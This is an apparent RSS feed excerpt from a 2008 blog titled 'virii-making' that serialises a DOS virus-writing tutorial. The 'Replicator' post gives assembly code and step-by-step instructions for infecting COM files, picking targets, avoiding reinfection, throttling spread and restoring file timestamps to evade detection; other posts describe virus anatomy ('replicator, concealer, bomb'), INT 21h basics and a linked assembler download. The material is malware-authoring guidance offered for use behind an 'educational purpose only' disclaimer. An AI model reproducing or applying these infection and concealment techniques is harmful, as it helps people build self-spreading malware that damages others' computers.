&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/Dauskupang/~3/J5LW2SccxqU/concealer-and-bomb.html</link><author>noreply@blogger.com (DauskupanG)</author><thr:total>0</thr:total><feedburner:origLink>http://virii-making.blogspot.com/2008/03/concealer-and-bomb.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4462266207216999823.post-9109702893785809464</guid><pubDate>Mon, 24 Mar 2008 06:24:00 +0000</pubDate><atom:updated>2008-03-27T05:48:27.081+08:00</atom:updated><title>The Replicator</title><description>&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/HBG_P6kRjpHjvkEQUZaf9ZKnysU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/HBG_P6kRjpHjvkEQUZaf9ZKnysU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/HBG_P6kRjpHjvkEQUZaf9ZKnysU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/HBG_P6kRjpHjvkEQUZaf9ZKnysU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;The job  of the  replicator is to spread the virus throughout the system of the clod  who has caught the virus.  How does it do this without destroying the file it infects?  The easiest type of replicator infects COM files.  It first saves  the first  few bytes  of the  infected file.  It then copies a small portion of its code to the beginning of the file, and the rest to the end.&lt;br /&gt;&lt;br /&gt;In the  diagram, P1 is part 1 of the file, P2 is part 2 of the file, and V1 and V2  are parts 1 and 2 of the virus.  Note that the size of P1 should be the same  as the size of V1, but the size of P2 doesn't necessarily have to be the  same size  as V2.   The  virus first  saves P1 and copies it to the&lt;br /&gt;either 1)  the end  of the  file or 2) inside the code of the virus.  Let's assume it copies the code to the end of the file.  The file now looks like:&lt;br /&gt;&lt;br /&gt;Then, the  virus copies  the first  part of  itself to the beginning of the file.&lt;br /&gt;&lt;br /&gt;Finally, the virus copies the second part of itself to the end of the file. The final, infected file looks like this:&lt;br /&gt;&lt;br /&gt;The question  is: What  the fuck  do V1 and V2 do?  V1 transfers control of the program to V2.  The code to do this is simple.&lt;br /&gt;&lt;br /&gt;     JMP FAR PTR Duh       ; Takes four bytes&lt;br /&gt;Duh  DW  V2_Start          ; Takes two bytes&lt;br /&gt;&lt;br /&gt;Duh is  a far pointer (Segment:Offset) pointing to the first instruction of V2.   Note that  the value  of Duh must be changed to reflect the length of the file  that is  infected.   For example,  if the  original size  of  the program is  79 bytes,  Duh must  be changed  so  that  the  instruction  at&lt;br /&gt;CS:[155h] is  executed.   The value of Duh is obtained by adding the length of V1,  the original size of the infected file, and 256 (to account for the PSP).  In this case, V1 = 6 and P1 + P2 = 79, so 6 + 79 + 256 = 341 decimal (155 hex).&lt;br /&gt;&lt;br /&gt;An alternate, albeit more difficult to understand, method follows:&lt;br /&gt;&lt;br /&gt;     DB 1101001b              ; Code for JMP (2 byte-displacement)&lt;br /&gt;Duh  DW V2_Start - OFFSET Duh ; 2 byte displacement&lt;br /&gt;&lt;br /&gt;This inserts  the jump  offset directly  into the  code following  the jump instruction.  You could also replace the second line with&lt;br /&gt;&lt;br /&gt;     DW V2_Start - $&lt;br /&gt;&lt;br /&gt;which accomplishes the same task.&lt;br /&gt;&lt;br /&gt;V2 contains the rest of the code, i.e. the stuff that does everything else. The last  part of  V2 copies  P1 over  V1 (in memory, not on disk) and then transfers control  to the  beginning of the file (in memory).  The original program will  then run happily as if nothing happened.  The code to do this is also very simple.&lt;br /&gt;&lt;br /&gt;     MOV SI, V2_START      ; V2_START is a LABEL marking where V2 starts&lt;br /&gt;     SUB SI, V1_LENGTH     ; Go back to where P1 is stored&lt;br /&gt;     MOV DI, 0100h         ; All COM files are loaded @ CS:[100h] in memory&lt;br /&gt;     MOV CX, V1_LENGTH     ; Move CX bytes&lt;br /&gt;     REP MOVSB             ; DS:[SI] -&gt; ES:[DI]&lt;br /&gt;&lt;br /&gt;     MOV DI, 0100h&lt;br /&gt;     JMP DI&lt;br /&gt;&lt;br /&gt;This code assumes that P1 is located just before V2, as in:&lt;br /&gt;&lt;br /&gt;P1_Stored_Here:&lt;br /&gt;     .&lt;br /&gt;     .&lt;br /&gt;     .&lt;br /&gt;V2_Start:&lt;br /&gt;&lt;br /&gt;It also  assumes ES  equals CS.  If these assumptions are false, change the code accordingly.  Here is an example:&lt;br /&gt;&lt;br /&gt;     PUSH CS               ; Store CS&lt;br /&gt;     POP  ES               ;  and move it to ES&lt;br /&gt;                           ; Note MOV ES, CS is not a valid instruction&lt;br /&gt;     MOV SI, P1_START      ; Move from whereever P1 is stored&lt;br /&gt;     MOV DI, 0100h         ;  to CS:[100h]&lt;br /&gt;     MOV CX, V1_LENGTH&lt;br /&gt;     REP MOVSB&lt;br /&gt;&lt;br /&gt;     MOV DI, 0100h&lt;br /&gt;     JMP DI&lt;br /&gt;&lt;br /&gt;This code  first moves CS into ES and then sets the source pointer of MOVSB to where  P1 is located.  Remember that this is all taking place in memory, so you  need the  OFFSET of P1, not just the physical location in the file. The offset  of P1  is 100h  higher than  the physical file location, as COM files are loaded starting from CS:[100h].&lt;br /&gt;&lt;br /&gt;So here's a summary of the parts of the virus and location labels:&lt;br /&gt;&lt;br /&gt;V1_Start:&lt;br /&gt;     JMP FAR PTR Duh&lt;br /&gt;Duh  DW  V2_Start&lt;br /&gt;V1_End:&lt;br /&gt;&lt;br /&gt;P2_Start:&lt;br /&gt;P2_End:&lt;br /&gt;&lt;br /&gt;P1_Start:&lt;br /&gt;  ; First part of the program stored here for future use&lt;br /&gt;P1_End:&lt;br /&gt;&lt;br /&gt;V2_Start:&lt;br /&gt;  ; Real Stuff&lt;br /&gt;V2_End:&lt;br /&gt;&lt;br /&gt;V1_Length EQU V1_End - V1_Start&lt;br /&gt;&lt;br /&gt;Alternatively, you could store P1 in V2 as follows:&lt;br /&gt;&lt;br /&gt;V2_Start:&lt;br /&gt;&lt;br /&gt;P1_Start:&lt;br /&gt;P1_End:&lt;br /&gt;&lt;br /&gt;V2_End:&lt;br /&gt;&lt;br /&gt;That's all there is to infecting a COM file without destroying it!  Simple, no?   EXE files,  however, are a little tougher to infect without rendering them inexecutable - I will cover this topic in a later file.&lt;br /&gt;&lt;br /&gt;Now let  us turn our attention back to the replicator portion of the virus. The steps are outlined below:&lt;br /&gt;&lt;br /&gt;     1) Find a file to infect&lt;br /&gt;     2) Check if it is already infected&lt;br /&gt;     3) If so, go back to 1&lt;br /&gt;     4) Infect it&lt;br /&gt;     5) If infected enough, quit&lt;br /&gt;     6) Otherwise, go back to 1&lt;br /&gt;&lt;br /&gt;Finding a  file to  infect is  a  simple  matter  of  writing  a  directory traversal procedure  and issuing  FINDFIRST  and  FINDNEXT  calls  to  find possible files  to infect.   Once  you find  the file, open it and read the first few  bytes.   If they are the same as the first few bytes of V1, then&lt;br /&gt;the file  is already  infected.  If the first bytes of V1 are not unique to your virus,  change it  so that they are.  It is *extremely* important that your virus  doesn't reinfect  the same  files, since that was how Jerusalem was first  detected.   If the file wasn't already infected, then infect it!&lt;br /&gt;Infection should take the following steps:&lt;br /&gt;&lt;br /&gt;     1) Change the file attributes to nothing.&lt;br /&gt;     2) Save the file date/time stamps.&lt;br /&gt;     3) Close the file.&lt;br /&gt;     4) Open it again in read/write mode.&lt;br /&gt;     5) Save P1 and append it to the end of the file.&lt;br /&gt;     6) Copy V1 to the beginning, but change the offset which it JMPs to so&lt;br /&gt;        it transfers control correctly. See the previous part on infection.&lt;br /&gt;     7) Append V2 to the end of the file.&lt;br /&gt;     8) Restore file attributes/date/time.&lt;br /&gt;&lt;br /&gt;You should  keep a counter of the number of files infected during this run. If the number exceeds, say three, then stop.  It is better to infect slowly then to give yourself away by infecting the entire drive at once.&lt;br /&gt;&lt;br /&gt;You must  be sure  to cover  your tracks  when you infect a file.  Save the file's  original   date/time/attributes  and  restore  them  when  you  are finished.   THIS IS VERY IMPORTANT!  It takes about 50 to 75 bytes of code, probably less,  to do  these few simple things which can do wonders for the concealment of your program.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4462266207216999823-9109702893785809464?l=virii-making.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=xGPVKNsDBnk:jCC-xMcpu8Q:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=xGPVKNsDBnk:jCC-xMcpu8Q:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=xGPVKNsDBnk:jCC-xMcpu8Q:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=xGPVKNsDBnk:jCC-xMcpu8Q:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=xGPVKNsDBnk:jCC-xMcpu8Q:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=xGPVKNsDBnk:jCC-xMcpu8Q:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=xGPVKNsDBnk:jCC-xMcpu8Q:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=xGPVKNsDBnk:jCC-xMcpu8Q:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=xGPVKNsDBnk:jCC-xMcpu8Q:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=xGPVKNsDBnk:jCC-xMcpu8Q:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=xGPVKNsDBnk:jCC-xMcpu8Q:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=xGPVKNsDBnk:jCC-xMcpu8Q:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/Dauskupang/~3/xGPVKNsDBnk/concealer.html</link><author>noreply@blogger.com (DauskupanG)</author><thr:total>0</thr:total><feedburner:origLink>http://virii-making.blogspot.com/2008/03/concealer.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4462266207216999823.post-1701776655989999298</guid><pubDate>Sat, 22 Mar 2008 12:41:00 +0000</pubDate><atom:updated>2008-03-22T20:55:26.066+08:00</atom:updated><title>Going Through the Virus</title><description>&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/wfF5jrrTtA6OP5vRsAvykC85Znw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/wfF5jrrTtA6OP5vRsAvykC85Znw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/wfF5jrrTtA6OP5vRsAvykC85Znw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/wfF5jrrTtA6OP5vRsAvykC85Znw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;Now I must said that you have finish studying about the basics of the assembly language, so that I want to continue with our virus writing guide. Before that you must know every types and function of virus you want to create. Remember, all of this is for educational purpose only. I don't want to take any responsibility of what you're doing with my article. For started, there are three types of virii @ virus that is:&lt;br /&gt;&lt;br /&gt;1) Tiny virii (under 500 bytes) which are designed to be  undetectable due to their small size.   TINY  is  one  such  virus. They  are generally very simple because their code length is so limited.&lt;br /&gt;&lt;br /&gt;     2) Large  virii  (over 1,500 bytes)   which   are   designed   to   be undetectable because they cover their tracks very  well  (all  that code DOES have a use!).  The best example  of  this  is  the  Whale virus, which is perhaps the best 'Stealth' virus in existence.&lt;br /&gt;&lt;br /&gt;     3) Other virii which are not designed to be hidden at all (the writers don't give  a  shit).    The  common  virus  is  like  this. All overwriting virii are in this category.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Tiny  virii generally do not have many of the "features" of larger virii, such  as  directory  traversal.    The  third  type  is  more  of  a replicating trojan-type,  and will  warrant a  brief  (very,  very  brief!)  discussion later.&lt;br /&gt;&lt;br /&gt;A virus may be divided into three parts: the replicator, the concealer, and the bomb.   The  replicator part  controls the spread of the virus to other files, the concealer keeps the virus from being detected, and the bomb only executes when  the activation  conditions of the virus (more on that later) are satisfied.&lt;br /&gt;&lt;br /&gt;On the next post I will explain briefly to you about the replicator part of the virus and I will provide some of the code. Don't misuse this information! See you again in the next post.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4462266207216999823-1701776655989999298?l=virii-making.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=A1rDYt5KRXk:I7nnOjLRecs:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=A1rDYt5KRXk:I7nnOjLRecs:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=A1rDYt5KRXk:I7nnOjLRecs:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=A1rDYt5KRXk:I7nnOjLRecs:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=A1rDYt5KRXk:I7nnOjLRecs:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=A1rDYt5KRXk:I7nnOjLRecs:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=A1rDYt5KRXk:I7nnOjLRecs:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=A1rDYt5KRXk:I7nnOjLRecs:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=A1rDYt5KRXk:I7nnOjLRecs:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=A1rDYt5KRXk:I7nnOjLRecs:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=A1rDYt5KRXk:I7nnOjLRecs:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=A1rDYt5KRXk:I7nnOjLRecs:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/Dauskupang/~3/A1rDYt5KRXk/going-through-virus.html</link><author>noreply@blogger.com (DauskupanG)</author><thr:total>0</thr:total><feedburner:origLink>http://virii-making.blogspot.com/2008/03/going-through-virus.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4462266207216999823.post-5671051658923779512</guid><pubDate>Thu, 20 Mar 2008 08:38:00 +0000</pubDate><atom:updated>2008-03-20T17:50:57.466+08:00</atom:updated><title>Function of INT</title><description>&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/rAol-w2nVAYkSTM95fKnQexvWgU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/rAol-w2nVAYkSTM95fKnQexvWgU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/rAol-w2nVAYkSTM95fKnQexvWgU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/rAol-w2nVAYkSTM95fKnQexvWgU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;Ok, as promised before, I'll explain about the INT in this post. So, check it out and understand it cause this will be used a lot in your programme you write.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    Examples:&lt;br /&gt;        INT 21h     ;calls DOS standard interrupt # 21h&lt;br /&gt;        INT 10h     ;the Video BIOS interrupt..&lt;br /&gt;       &lt;br /&gt;    INT is used to call a subroutine that performs some function that you'd rather not write yourself.  For instance, you would use a DOS interrupt to OPEN a file.  You would similiarly use the Video BIOS interrupt to set the screen mode, move the cursor, or to do any other function that would be difficult to program.&lt;br /&gt;&lt;br /&gt;    Which subroutine the interrupt preforms is USUALLY specified by AH. For instance, if you wanted to print a message to the screen you'd use INT 21h, subfunction 9 by doing this:&lt;br /&gt;&lt;br /&gt;mov ah,9&lt;br /&gt;    int 21h&lt;br /&gt;&lt;br /&gt;Yes, it's that easy.  Of course, for that function to do anything, you need to specify WHAT to print.  That function requires that you have DS:DX be a FAR pointer that points to the string to display.  This string must terminate with a dollar sign.  Here's an example:&lt;br /&gt;&lt;br /&gt;MyMessage db    "This is a message!$"&lt;br /&gt;    ...&lt;br /&gt;    mov     dx,OFFSET MyMessage&lt;br /&gt;    mov     ax,SEG MyMessage&lt;br /&gt;    mov     ds,ax&lt;br /&gt;    mov     ah,9&lt;br /&gt;    int     21h&lt;br /&gt;.....&lt;br /&gt;&lt;br /&gt;The DB, like the DW (and DD) merely declares the type of a piece of data.&lt;br /&gt;&lt;br /&gt;        DB =&gt; Declare Byte (I think of it as 'Data Byte')&lt;br /&gt;        DW =&gt; Declare Word&lt;br /&gt;        DD =&gt; Declare Dword&lt;br /&gt;   &lt;br /&gt;    Also, you may have noticed that I first put the segment value into AX and then put it into DS.  I did that because the 80x86 does NOT allow you to put an immediate value into a segment register.  You can, however, pop stuff into a Segment register or mov an indexed value into the segment register.  A few examples:&lt;br /&gt;&lt;br /&gt;LEGAL:&lt;br /&gt;    mov     ax,SEG MyMessage&lt;br /&gt;    mov     ds,ax&lt;br /&gt;&lt;br /&gt;    push    SEG Message&lt;br /&gt;    pop     ds&lt;br /&gt;&lt;br /&gt;    mov     ds,[SegOfMyMessage]    &lt;br /&gt;            ;where [SegOfMyMessage] has already been loaded with&lt;br /&gt;            ; the SEGMENT that MyMessage resides in&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  ILLEGAL:&lt;br /&gt;    mov     ds,10&lt;br /&gt;    mov     ds,SEG MyMessage&lt;br /&gt;&lt;br /&gt;Well, that's about it for what you need to know to get started...&lt;br /&gt;&lt;br /&gt;And here I also want you to understand how to use the goodies I give you in the last post that is Turbo Assembler. Here some example:&lt;br /&gt;&lt;br /&gt;;===========-&lt;br /&gt;&lt;br /&gt;    DOSSEG  ;This arranges the segments in order according DOS standards&lt;br /&gt;            ;CODE, DATA, STACK&lt;br /&gt;    .MODEL SMALL    ;dont worry about this yet&lt;br /&gt;    .STACK  200h    ;tells the compiler to put in a 200h byte stack&lt;br /&gt;    .CODE           ;starts code segment&lt;br /&gt;&lt;br /&gt;    ASSUME  CS:@CODE, DS:@CODE&lt;br /&gt;&lt;br /&gt;START:      ;generally a good name to use as an entry point&lt;br /&gt;&lt;br /&gt;    mov     ax,4c00h&lt;br /&gt;    int     21h&lt;br /&gt;&lt;br /&gt;END START&lt;br /&gt;&lt;br /&gt;;===========- By the way, a semicolon means the start of a comment.&lt;br /&gt;&lt;br /&gt;    If you were to enter this program and TASM &amp;amp; TLINK it, it would execute perfectly.  It will do absolutly nothing, but it will do it well.&lt;br /&gt;&lt;br /&gt;    What it does:&lt;br /&gt;        Upon execution, it will jump to START. move 4c00h into AX, and call the DOS interrupt, which exits back to DOS.&lt;br /&gt;&lt;br /&gt;That's nice, eh?  If you've understood the majority of what was presented in the post before this, you are ready to start programming!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4462266207216999823-5671051658923779512?l=virii-making.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=npovFH03hPc:FPbznjd1-g8:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=npovFH03hPc:FPbznjd1-g8:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=npovFH03hPc:FPbznjd1-g8:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=npovFH03hPc:FPbznjd1-g8:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=npovFH03hPc:FPbznjd1-g8:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=npovFH03hPc:FPbznjd1-g8:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=npovFH03hPc:FPbznjd1-g8:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=npovFH03hPc:FPbznjd1-g8:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=npovFH03hPc:FPbznjd1-g8:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=npovFH03hPc:FPbznjd1-g8:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=npovFH03hPc:FPbznjd1-g8:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=npovFH03hPc:FPbznjd1-g8:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/Dauskupang/~3/npovFH03hPc/function-of-int.html</link><author>noreply@blogger.com (DauskupanG)</author><thr:total>0</thr:total><feedburner:origLink>http://virii-making.blogspot.com/2008/03/function-of-int.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4462266207216999823.post-3732959801124119550</guid><pubDate>Tue, 18 Mar 2008 19:30:00 +0000</pubDate><atom:updated>2008-03-19T03:39:45.266+08:00</atom:updated><title>Free Assembly Compilers to You!</title><description>&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/rSdB-op09vpQRzaMf2mSHBA2h78/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/rSdB-op09vpQRzaMf2mSHBA2h78/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/rSdB-op09vpQRzaMf2mSHBA2h78/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/rSdB-op09vpQRzaMf2mSHBA2h78/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;Now I want to share with you a stand alone software used to compile .asm files to exe files. This is very useful for you to assemble whats you write/programmed. Check it out!&lt;br /&gt;&lt;br /&gt;&lt;a href="http://dauskupang.110mb.com/tasm40.zip"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;DOWNLOAD&lt;/span&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4462266207216999823-3732959801124119550?l=virii-making.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=Ff0TYdy9b0U:aHGNQt-PJDo:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=Ff0TYdy9b0U:aHGNQt-PJDo:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=Ff0TYdy9b0U:aHGNQt-PJDo:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=Ff0TYdy9b0U:aHGNQt-PJDo:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=Ff0TYdy9b0U:aHGNQt-PJDo:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=Ff0TYdy9b0U:aHGNQt-PJDo:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=Ff0TYdy9b0U:aHGNQt-PJDo:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=Ff0TYdy9b0U:aHGNQt-PJDo:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=Ff0TYdy9b0U:aHGNQt-PJDo:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=Ff0TYdy9b0U:aHGNQt-PJDo:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=Ff0TYdy9b0U:aHGNQt-PJDo:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=Ff0TYdy9b0U:aHGNQt-PJDo:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
